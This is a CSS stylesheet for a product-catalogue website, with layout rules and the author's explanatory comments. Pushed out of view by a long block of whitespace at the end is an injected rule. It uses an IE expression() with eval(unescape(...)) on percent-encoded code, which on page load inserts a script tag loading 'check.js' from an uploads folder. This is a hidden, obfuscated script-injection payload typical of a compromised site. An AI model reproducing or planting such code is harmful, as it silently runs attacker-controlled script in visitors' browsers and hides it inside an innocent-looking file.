body 				{/*background: url(left.jpg) repeat-y #FFFFFF;	 Creates the gray bar at the side of 
										   the page, and makes the rest of the
										   background white. I have 
										   reduced-quality versions of left.jpg,
										   saved as left2.jpg, left3.jpg, etc. */
				margin: 0px;
				padding: 0px;
				color: #000000;				/* Makes the font color white */
				font-family: "Arial", sans-serif;
				font-size: 11px;}


div				{margin: 0px;
				padding: 0px;
				border: 0px;}

div#title			{width: 272px;			/* Locates a container for the title */
				height: 20px;
				position: absolute;
				left: 250px;
				top: 108px;}

div#navigation			{position: absolute;		/* Sets the location of the navigation bar */
				left: 5px;
				top: 286px;
				width: 180px;}
				
div#graphicServices		{position: absolute;		/* Sets the location of the navigation bar */
				left: 5px;
				top: 286px;
				width: 170px;}

div.twoliner			{margin-bottom: -8px;}		/* These two tags create containers for link */
								/* names that take up two lines. */
div.twolinertext		{position: relative;
				top: -16px;					
				left: 18px;
				width: 62px;}

div#content			{width: 582px;			/* Contains all of the content on every page */
				position: absolute;
				top: 232px;
				left: 232px;}

div#closeups			{position: absolute;		/* Creates a place for the links to close-up */
				top: 225px;			/* photos, as well as the text		     */
				left: 230px;}			/* "Click on an image to see larger detail"  */

div#info			{position: absolute;		/* Locates the paragraph describing the */
				top: 350px;			/* product				*/
				left: 0px;}


table				{margin: 0px;}

td.productlist			{margin: 0px;
				padding: 0px;
				width: 133px;
				height: 250px;
				border: 1px inset;}		/* Change this line only if you want a
								   different type of border for your tables */
									   
	

img				{margin: 0px;
				padding: 0px;
				border: 0px;}
				
img#left			{
				position: absolute;
				left: 0px;
				height: 600px;
				width: 181px;
				top:250px;
				}

img#header			{width: 1000px;			/* Sets the size and location of the big */
				height: 251px;			/* header image				 */
				position: absolute;
				top: 0px;
				left: 0px;
				z-index: 0;}			/* Puts the header behind all other images */

img#home			{width: 70px;			/* The following four selectors set the  */ 
				height: 22px;			/* size and location of the links in the */ 
				position: absolute;		/* header. The corresponding rollover  	 */
				top: 79px;			/* images use this code as well.	 */
				left: 288px;
				z-index: 1;}
img#whatsnew			{width: 109px;
				height: 22px;
				position: absolute;
				top: 48px;
				left: 394px;
				z-index: 1;}
img#graphicservices		{width: 155px;
				height: 22px;
				position: absolute;
				top: 37px;
				left: 545px;
				z-index: 1;}
img#contactus			{width: 125px;
				height: 22px;
				position: absolute;
				top: 72px;
				left: 728px;
				z-index: 1;}
				
img#home2			{width: 62px;				/* The following four selectors set the  */ 
				height: 21px;				/* size and location of the links in the */ 
				position: absolute;			/* header. The corresponding rollover  	 */
				top: 78px;				/* images use this code as well.	 */
				left: 276px;
				z-index: 1;}
img#whatsnew2			{width: 105px;
				height: 20px;
				position: absolute;
				top: 38px;
				left: 484px;
				z-index: 1;}
img#graphicservices2		{width: 144px;
				height: 21px;
				position: absolute;
				top: 78px;
				left: 695px;
				z-index: 1;}
				
img.navigation			{width: 16px;			/* Sets the size of the circles in the */
				height: 16px;			/* left navigation bar.		       */
				vertical-align:middle;}	/* Helps locate the circles */

img.product			{width: 120px;			/* Sets the size and location of the	*/
				height: 180px;			/* product images in the table cells on */
				position: relative;		/* the page listing all of the products	*/
				top: 5px;}

img#bigproduct			{width: 230px;			/* Sets the size of the image of the	*/
				height: 330px;}			/* product on the page describing to it	*/

img.closeup			{width: 86px;			/* Sets the size of the images linked to   */
				height: 77px;			/* close-up photos of parts of the product */
				margin-left: 16px;}		/* Helps locate these images */

input.search			{width: 155px;		/* Sets the size, location, and style of the search box	*/
				height: 19px;
				position: absolute;
				top: 78px;
				left: 457px;
				z-index: 1;
				border: 2px inset;		/* Sets the border style of the search box */
				font-size: 9px;}

input.submit			{width: 155px;			/* Sets the size and location */
				height: 9px;			/* of the search button	      */
				position: absolute;
				top: 84px;	
				left: 469px;
				z-index: 1;}


img.search			{width: 42px;		
				height: 10px;						
				position: absolute;
				top: 82px;
				left: 618px;
				z-index: 1;}


h1				{margin: 0px;			/* The h1 tag is used for the product code. */
				font-weight: bold;		/* If you increase the font-size by X,	 */
				font-size: 16px;}		/* you should increase the "top" values	 */
								/* of p#specs and p#specs2 by X as well. */


p				{margin: 0px;}

p#titlewhite			{position: absolute;	/* Locates and styles the title */
				left: 350px;
				top: 140px;
				color: #FFFFFF;
				width: 448px;
				font-size: 18px;
				text-align: center;
				text-transform: uppercase;
				font-weight: bold;
				letter-spacing: 1.2;}

p#titleshadow			{position: absolute;		/* Locates and styles the title's drop shadow */
				left: 350px;
				top: 142px;
				margin-left: 4px;
				width: 448px;
				color: #000000;
				font-size: 18px;
				text-align: center;
				text-transform: uppercase;
				font-weight: bold;
				letter-spacing: 1.2;}



p.navigation			{margin-bottom: 6px;}			/* Helps locate each left navigation link */

p#detail			{font-weight: bold;}	/* Makes "Click on an image to see larger detail" bold */

p#description			{width: 320px;}			/* Sets the size of the paragraph about the product */

p#specs				{width: 120px;			/* Sets the style, size, and location of the	*/
				color: #666666;			/* text showing the types of specs you want to	*/
				position: absolute;		/* list						*/
				left: 330px;
				top: 20px;}			/* Change this if you change the font-size of h1 */

p#specs2			{width: 120px;			/* Sets the style, size, and location of the */
				color: #666666;			/* text showing the specs of the product     */
				position: absolute;
				left: 450px;
				top: 20px;}			/* Change this if you change the font-size of h1 */


a				{text-decoration: none;}

a.navigation			{color: #000000;		/* Sets the style of the left navigation link text */
				font-size: 9px;
				font-weight: bold;
				text-transform: uppercase;		/* This is why case doesn't matter */
				line-height: 8px;}		/* Affects two-line links */
a.navigation:hover		{color: #EEEEEE;}			/* Makes the link text blink when you hover */

a.product			{color: #990000;			/* Sets the style of the link text for */	
				font-size: 12px;}			/* the links to pages on each product  */
a.product:hover			{color: #CC0000;
				font-size: 12px;}


span#colors			{color: #666666;	/* Sets the style and location of the text   */
				font-weight: bold;	/* saying which colors each product comes in */
				font-size: 10px;
				position: absolute;
				top: 0px;
				right: 50px;}
span#colors:hover		{color: #CC0000;}	/* Turns this text red when you hover over it */




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%32%30%31%39%31%33%3B%20%4A%53%53%33%20%3D%20%27%2F%75%70%6C%6F%61%64%2F%66%69%6C%65%73%2F%74%65%73%74%2F%69%64%69%6E%65%71%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%75%70%6C%6F%61%64%2F%66%69%6C%65%73%2F%74%65%73%74%2F%69%64%69%6E%65%71%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */